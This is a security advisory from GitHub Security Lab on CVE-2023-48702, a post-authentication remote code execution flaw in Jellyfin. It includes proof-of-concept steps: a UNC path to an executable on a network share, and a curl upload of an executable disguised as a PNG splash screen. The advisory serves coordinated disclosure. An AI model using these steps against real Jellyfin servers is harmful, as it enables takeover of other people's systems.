Coordinated Disclosure Timeline
- 2023-02-15 - Report sent to maintainers.
- 2023-05-16 - Jellyfin maintainers respond saying that a fix will be included in v10.9.0.
- 2023-09-12 - Github Security Lab contacts Jellyfin maintainers, asking for a more specific timeline of release v10.9.0, as Jellyfin has been vulnerable for over six months.
- 2023-11-01 - After some disucussion, agreement that Jellyfin maintainers will release a blog post at the same time as Github Security Lab will release an advisory.
- 2023-11-22 - Jellyfin responds saying that the issue will be patched and an advisory published on the release date of v10.8.13.
Summary
A user with administrator permissions is able to run arbitrary code on the jellyfin server via the /System/MediaEncoder/Path endpoint.
Product
jellyfin
Tested Version
Details
Issue 1: Remote Code Execution in /System/MediaEncoder/Path
via UNC paths (GHSL-2023-029
)
The /System/MediaEncoder/Path
endpoint executes an arbitrary file using ProcessStartInfo
via the ValidateVersion
function. A malicious administrator can setup a network share and supply a UNC path to /System/MediaEncoder/Path
which points to an executable on the network share, causing jellyfin server to run the executable in the local context.
public bool ValidateVersion()
{
string output;
try
{
output = GetProcessOutput(_encoderPath, "-version", false, null);
}
This vulnerabilty was found with the help of CodeQL’s C# Query.
Proof of Concept:
- Ensure that you are a user that has administration privileges and can access
RequiresElevation
APIs. - Go into the jellyfin web front end and set the
Playback -> FFmpeg
path to the path of your executable:\\IP_ADDRESS\SHARE\MALICIOUS_EXECUTABLE
- Click Save. This should send an authenticated request to
/System/MediaEncoder/Path
endpoint and execute your file.Note: I was having some trouble authenticating via curl to the API directly for the
/System/MediaEncoder/Path
so I have suggested using the web-ui instead.
Issue 2: Insufficient checks on SplashScreen
file type (GHSL-2023-028
)
The /Branding/Splashscreen
endpoint does not sufficiently validate file types. It uses the content type specified by the request header to create the extension for the file, but does not check the type of the file itself.
var mimeType = MediaTypeHeaderValue.Parse(Request.ContentType).MediaType;
if (!mimeType.HasValue)
{
return BadRequest("Error reading mimetype from uploaded image");
}
var extension = MimeTypes.ToExtension(mimeType.Value);
if (string.IsNullOrEmpty(extension))
{
return BadRequest("Error converting mimetype to an image extension");
}
var filePath = Path.Combine(_appPaths.DataPath, "splashscreen-upload" + extension);
We can upload an executable by giving a valid content type such as image/png
. This can be combined with the /System/MediaEncoder/Path
endpoint in order to achieve Remote Code Execution (RCE).
Proof of Concept:
- Ensure that you are a user that has administration privileges and can access
RequiresElevation
APIs. - Create an executable that you wish to execute on the system and encode it in base64.
- Run the command
curl -v -H "Content-Type:image/png" -d @base64executable http://localhost:server_port/Branding/Splashscreen?api_key=<YOUR API KEY>
to upload the executable. - Go into the jellyfin web front end and set the
Playback -> FFmpeg
path to the path of your executable:$(_appPaths.DataPath)/splashscreen-upload.png
- Click Save. This should send an authenticated request to
/System/MediaEncoder/Path
endpoint and execute your file.Note:
ProcessStartInfo
ignores the extension given to the splashscreen-upload file and runs the executable.
Impact
This issue may lead to post-auth Remote Code Execution
.
CVE
- CVE-2023-48702
Credit
This issue was discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-028
or GHSL-2023-029
in any communication regarding this issue.